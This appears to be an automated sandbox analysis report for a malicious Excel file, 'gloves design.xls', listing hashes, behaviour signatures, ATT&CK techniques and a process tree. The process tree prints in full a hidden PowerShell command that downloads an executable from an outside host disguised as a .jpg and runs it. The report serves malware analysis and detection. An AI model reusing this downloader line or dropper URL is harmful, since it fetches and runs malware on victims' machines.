c37a1523c641b7d3570772d73004397efd07e5df4ee1e5ca2145664fc38f6ae4

General

Target
gloves design.xls
Size 192KB
Sample200713-x227w2g7pn
SHA256 c37a1523c641b7d3570772d73004397efd07e5df4ee1e5ca2145664fc38f6ae4
MD5 5f1646715f9ea3a6bb2e472a9ffc05ab
SHA1 fe3ade8c3b3e43fad68bbdc83c3a9d91a020dbc4
SHA512 fddafc1280db573cc773a62f981eee6ccb6bf3184f7894b8c5d38bfb61d0266dcf8aeac6df5e48343f442a2ae4b3c48fc9a39350c752020b73c3271551e7e000
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://crogtrt.com/i7/32027444.jpg

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1732	992	cmd.exe	66

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
64	powershell.exe
64	powershell.exe
64	powershell.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	64	powershell.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3684	3804	WerFault.exe	78

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE
992	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
992	EXCEL.EXE

Executes dropped EXE 1 IoCs

pid	Process
3804	dfge.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 992 wrote to memory of 1732	992	EXCEL.EXE	72
PID 992 wrote to memory of 1732	992	EXCEL.EXE	72
PID 1732 wrote to memory of 64	1732	cmd.exe	74
PID 1732 wrote to memory of 64	1732	cmd.exe	74
PID 64 wrote to memory of 3804	64	powershell.exe	78
PID 64 wrote to memory of 3804	64	powershell.exe	78
PID 64 wrote to memory of 3804	64	powershell.exe	78

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	64	powershell.exe
Token: SeRestorePrivilege	3684	WerFault.exe
Token: SeBackupPrivilege	3684	WerFault.exe
Token: SeDebugPrivilege	3684	WerFault.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\gloves design.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:992
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://crogtrt.com/i7/32027444.jpg',$env:Temp+'\dfge.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\dfge.exe')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://crogtrt.com/i7/32027444.jpg',$env:Temp+'\dfge.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\dfge.exe')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Blacklisted process makes network request
    - Suspicious use of WriteProcessMemory
    - Suspicious use of AdjustPrivilegeToken
    PID:64
  - - C:\Users\Admin\AppData\Local\Temp\dfge.exe
      "C:\Users\Admin\AppData\Local\Temp\dfge.exe"
      4⤵
      Executes dropped EXE
      PID:3804
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 1092
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:3684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3684-30-0x0000000006320000-0x0000000006321000-memory.dmp

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memory/3684-8-0x0000000004E60000-0x0000000004E61000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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